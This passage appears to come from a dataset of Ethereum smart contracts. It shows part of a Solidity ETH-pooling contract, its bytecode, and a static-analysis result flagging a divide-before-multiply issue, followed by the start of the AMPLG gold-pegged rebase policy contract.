balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount);
balances_bonus[msg.sender] = balances[msg.sender];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
msg.sender.transfer(amount);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens && allow_contributions);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
} | 0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630107a8df146103b857806303b918dc146103cf578063111485ef146103fe57806318af7021146104295780631a34fe811461046c5780631e4532f114610497578063223db315146104ee578063253c8bd41461051d57806327e235e31461056057806328b8e9cf146105b757806329d98a7b146105ce5780632fbfe951146105fb578063346f2eb714610628578063398f2648146106575780633ccfd60b146106845780633ec045a61461069b57806342263aa2146106f2578063590e1ae3146107355780636360fc3f1461074c578063666375e51461077b578063678f7033146107aa578063689f2456146107ca5780636954abee146107e15780636ad1fe02146108105780637036f9d91461086757806372a85604146108aa5780638d521149146108d55780638da5cb5b14610904578063a8644cd51461095b578063c34dd14114610986578063c42bb1e4146109b1578063ca4b208b146109dc578063ebc56eec14610a33578063f2bee03d14610a62578063fc0c546a14610aa5575b60008060025414806101e257506002543073ffffffffffffffffffffffffffffffffffffffff163111155b15156101ed57600080fd5b600660009054906101000a900460ff161580156102165750600e60019054906101000a900460ff165b151561022157600080fd5b61022c346028610afc565b905061023a600b5482610b17565b600b81905550610292600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461028d3484610b35565b610b17565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060015414806103275750600154600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b151561033257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050005b3480156103c457600080fd5b506103cd610b4e565b005b3480156103db57600080fd5b506103e4610e89565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b50610413610e9c565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b5061046a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea2565b005b34801561047857600080fd5b50610481611062565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b3480156104fa57600080fd5b50610503611080565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611093565b005b34801561056c57600080fd5b506105a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b6040518082815260200191505060405180910390f35b3480156105c357600080fd5b506105cc61116f565b005b3480156105da57600080fd5b506105f9600480360381019080803590602001909291905050506114b5565b005b34801561060757600080fd5b506106266004803603810190808035906020019092919050505061151a565b005b34801561063457600080fd5b5061065560048036038101908080351515906020019092919050505061157f565b005b34801561066357600080fd5b50610682600480360381019080803590602001909291905050506115f7565b005b34801561069057600080fd5b50610699611670565b005b3480156106a757600080fd5b506106b0611993565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106fe57600080fd5b50610733600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b005b34801561074157600080fd5b5061074a611a70565b005b34801561075857600080fd5b50610761611bfa565b604051808215151515815260200191505060405180910390f35b34801561078757600080fd5b506107a8600480360381019080803515159060200190929190505050611c0d565b005b6107c860048036038101908080359060200190929190505050611c85565b005b3480156107d657600080fd5b506107df611d82565b005b3480156107ed57600080fd5b506107f6611fc7565b604051808215151515815260200191505060405180910390f35b34801561081c57600080fd5b50610825611fda565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087357600080fd5b506108a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612000565b005b3480156108b657600080fd5b506108bf6122a1565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b506108ea6122a7565b604051808215151515815260200191505060405180910390f35b34801561091057600080fd5b506109196122ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561096757600080fd5b506109706122df565b6040518082815260200191505060405180910390f35b34801561099257600080fd5b5061099b6122e5565b6040518082815260200191505060405180910390f35b3480156109bd57600080fd5b506109c66122eb565b6040518082815260200191505060405180910390f35b3480156109e857600080fd5b506109f16122f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3f57600080fd5b50610a60600480360381019080803515159060200190929190505050612309565b005b348015610a6e57600080fd5b50610aa3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612381565b005b348015610ab157600080fd5b50610aba612446565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284811515610b0a57fe5b0490508091505092915050565b6000808284019050838110151515610b2b57fe5b8091505092915050565b6000828211151515610b4357fe5b818303905092915050565b600080600660009054906101000a900460ff168015610b795750600960009054906101000a900460ff165b1515610b8457600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b505050506040513d6020811015610c6b57600080fd5b8101908080519060200190929190505050915060008214151515610c8e57600080fd5b610ce2610cda600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600854610afc565b9050610d2f600854600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6008819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d6020811015610e6957600080fd5b81019080805190602001909291905050501515610e8557600080fd5b5050565b600e60019054906101000a900460ff1681565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eff57600080fd5b600660009054906101000a900460ff16151515610f1b57600080fd5b610f6f610f68600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611011600b5461100c836028610afc565b610b35565b600b819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561105d573d6000803e3d6000fd5b505050565b60025481565b60056020528060005260406000206000915090505481565b600c60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ee57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561111457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cd57600080fd5b6111e46111dd600354606461246c565b6063610afc565b3073ffffffffffffffffffffffffffffffffffffffff16311015151561120957600080fd5b6000600254148061123357506002543073ffffffffffffffffffffffffffffffffffffffff163111155b151561123e57600080fd5b600660009054906101000a900460ff1615801561129457506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561129f57600080fd5b6001600660006101000a81548160ff0219169083151502179055506112c7600b546006610afc565b91506112d6600b54600c610afc565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611328611322600b5486610b35565b84610b35565b9081150290604051600060405180830381858888f19350505050158015611353573d6000803e3d6000fd5b5073ee06bddaffa56a303718de53a5bc347efbe4c68f73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156113ae573d6000803e3d6000fd5b507363f7547ac277ea0b52a0b060be6af8c5904953aa73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611409573d6000803e3d6000fd5b503073ffffffffffffffffffffffffffffffffffffffff16316007819055503073ffffffffffffffffffffffffffffffffffffffff1631600881905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007549081150290604051600060405180830381858888f193505050501580156114b0573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151057600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157557600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115da57600080fd5b80600960006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165257600080fd5b61166761166082606461246c565b6063610afc565b60028190555050565b600080600660009054906101000a900460ff16151561168e57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050506040513d602081101561177557600080fd5b810190808051906020019092919050505091506000821415151561179857600080fd5b6117ec6117e4600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600754610afc565b9050611839600754600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6007819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194957600080fd5b505af115801561195d573d6000803e3d6000fd5b505050506040513d602081101561197357600080fd5b8101908080519060200190929190505050151561198f57600080fd5b5050565b7363f7547ac277ea0b52a0b060be6af8c5904953aa81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611a2c57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900460ff16158015611a9b5750600c60009054906101000a900460ff165b8015611aa957506000600d54145b1515611ab457600080fd5b611b08611b01600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baa600b54611ba5836028610afc565b610b35565b600b819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf6573d6000803e3d6000fd5b5050565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6857600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce057600080fd5b600660009054906101000a900460ff168015611cfd575060648111155b1515611d0857600080fd5b80600d819055506000341115611d34576001600e60006101000a81548160ff0219169083151502179055505b611d70611d5f6064611d518460075461246c90919063ffffffff16565b610afc90919063ffffffff16565b600754610b3590919063ffffffff16565b60078190555060075460088190555050565b600080600660009054906101000a900460ff168015611da357506000600d54115b1515611dae57600080fd5b611e03611dfc600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150611e4e600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff1615611f7c57611f646064611f56600d54611f48602887610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b9050611f798183610b1790919063ffffffff16565b91505b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611fc2573d6000803e3d6000fd5b505050565b600e60009054906101000a900460ff1681565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205e57600080fd5b600660009054906101000a900460ff16801561207c57506000600d54115b151561208757600080fd5b6120dc6120d5600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150612127600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff16156122555761223d606461222f600d54612221602887610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b90506122528183610b1790919063ffffffff16565b91505b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561229b573d6000803e3d6000fd5b50505050565b60035481565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600d5481565b60075481565b73ee06bddaffa56a303718de53a5bc347efbe4c68f81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236457600080fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123dc57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561240257600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600084141561248157600091506124a0565b828402905082848281151561249257fe5b0414151561249c57fe5b8091505b50929150505600a165627a7a72305820c3499d1960c580c06c52b42d39a23ce42ee9821e42c67775bde6fe6932b145470029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,981 |
0xa7721847f35ebc515fe411b6ffdd8dcc9993b6a9 | // SPDX-License-Identifier: MIT
/*
_ __ __ ____ _ _____ ____ _ _ _
/ \ | \/ | _ \| | | ____/ ___| ___ | | __| | (_) ___
/ _ \ | |\/| | |_) | | | _|| | _ / _ \| |/ _` | | |/ _ \
/ ___ \| | | | __/| |___| |__| |_| | (_) | | (_| | _ | | (_) |
/_/ \_\_| |_|_| |_____|_____\____|\___/|_|\__,_| (_) |_|\___/
Ample Gold $AMPLG is a goldpegged defi protocol that is based on Ampleforths elastic tokensupply model.
AMPLG is designed to maintain its base price target of 0.01g of Gold with a progammed inflation adjustment (rebase).
Forked from Ampleforth: https://github.com/ampleforth/uFragments (Credits to Ampleforth team for implementation of rebasing on the ethereum network)
GPL 3.0 license
AMPLG_GoldPolicy.sol - AMPLG Gold Orchestrator Policy
*/
pragma solidity ^0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IAMPLG {
function totalSupply() external view returns (uint256);
function rebaseGold(uint256 epoch, int256 supplyDelta) external returns (uint256);
}
interface IGoldOracle {
function getGoldPrice() external view returns (uint256, bool);
function getMarketPrice() external view returns (uint256, bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title AMPLG $AMPLG Gold Supply Policy
* @dev This is the extended orchestrator version of the AMPLG $AMPLG Ideal Gold Pegged DeFi protocol aka Ampleforth Gold ($AMPLG).
* AMPLG operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable gold unit price against PAX gold.
*
* This component regulates the token supply of the AMPLG ERC20 token in response to
* market oracles and gold price.
*/
contract AMPLGGoldPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 goldPrice,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IAMPLG public amplg;
// Gold oracle provides the gold price and market price.
IGoldOracle public goldOracle;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor() public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 6;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "AMPLG Error: Insufficient time has passed since last rebase.");
require(tx.origin == msg.sender);
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 curGoldPrice, uint256 marketPrice, int256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = amplg.rebaseGold(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, marketPrice, curGoldPrice, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals the formula
* (current price – base target price in usd) * total supply / (base target price in usd * lag
* factor)
*/
function getRebaseValues() public view returns (uint256, uint256, int256, int256) {
uint256 curGoldPrice;
bool goldValid;
(curGoldPrice, goldValid) = goldOracle.getGoldPrice();
require(goldValid);
uint256 marketPrice;
bool marketValid;
(marketPrice, marketValid) = goldOracle.getMarketPrice();
require(marketValid);
int256 goldPriceSigned = curGoldPrice.toInt256Safe();
int256 marketPriceSigned = marketPrice.toInt256Safe();
int256 rate = marketPriceSigned.sub(goldPriceSigned);
if (marketPrice > MAX_RATE) {
marketPrice = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(marketPrice, curGoldPrice);
if (supplyDelta > 0 && amplg.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(amplg.totalSupply())).toInt256Safe();
}
return (curGoldPrice, marketPrice, rate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the market price
* and the current gold price.
*/
function computeSupplyDelta(uint256 marketPrice, uint256 curGoldPrice)
internal
view
returns (int256)
{
if (withinDeviationThreshold(marketPrice, curGoldPrice)) {
return 0;
}
//(current price – base target price in usd) * total supply / (base target price in usd * lag factor)
int256 goldPrice = curGoldPrice.toInt256Safe();
int256 marketPrice = marketPrice.toInt256Safe();
int256 delta = marketPrice.sub(goldPrice);
int256 lagSpawn = goldPrice.mul(rebaseLag.toInt256Safe());
return amplg.totalSupply().toInt256Safe()
.mul(delta).div(lagSpawn);
}
/**
* @notice Sets the rebase lag parameter.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the parameter which control the timing and frequency of
* rebase operations the minimum time period that must elapse between rebase cycles.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
*/
function setRebaseTimingParameter(uint256 minRebaseTimeIntervalSec_)
external
onlyOwner
{
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
}
/**
* @param rate The current market price
* @param targetRate The current gold price
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the AMPLG token governed.
* Can only be called once during initialization.
*
* @param amplg_ The address of the AMPLG ERC20 token.
*/
function setAMPLG(IAMPLG amplg_)
external
onlyOwner
{
require(amplg == IAMPLG(0));
amplg = amplg_;
}
/**
* @notice Sets the reference to the AMPLG $AMPLG oracle.
* @param _goldOracle The address of the AMPLG oracle contract.
*/
function setGoldOracle(IGoldOracle _goldOracle)
external
onlyOwner
{
goldOracle = _goldOracle;
}
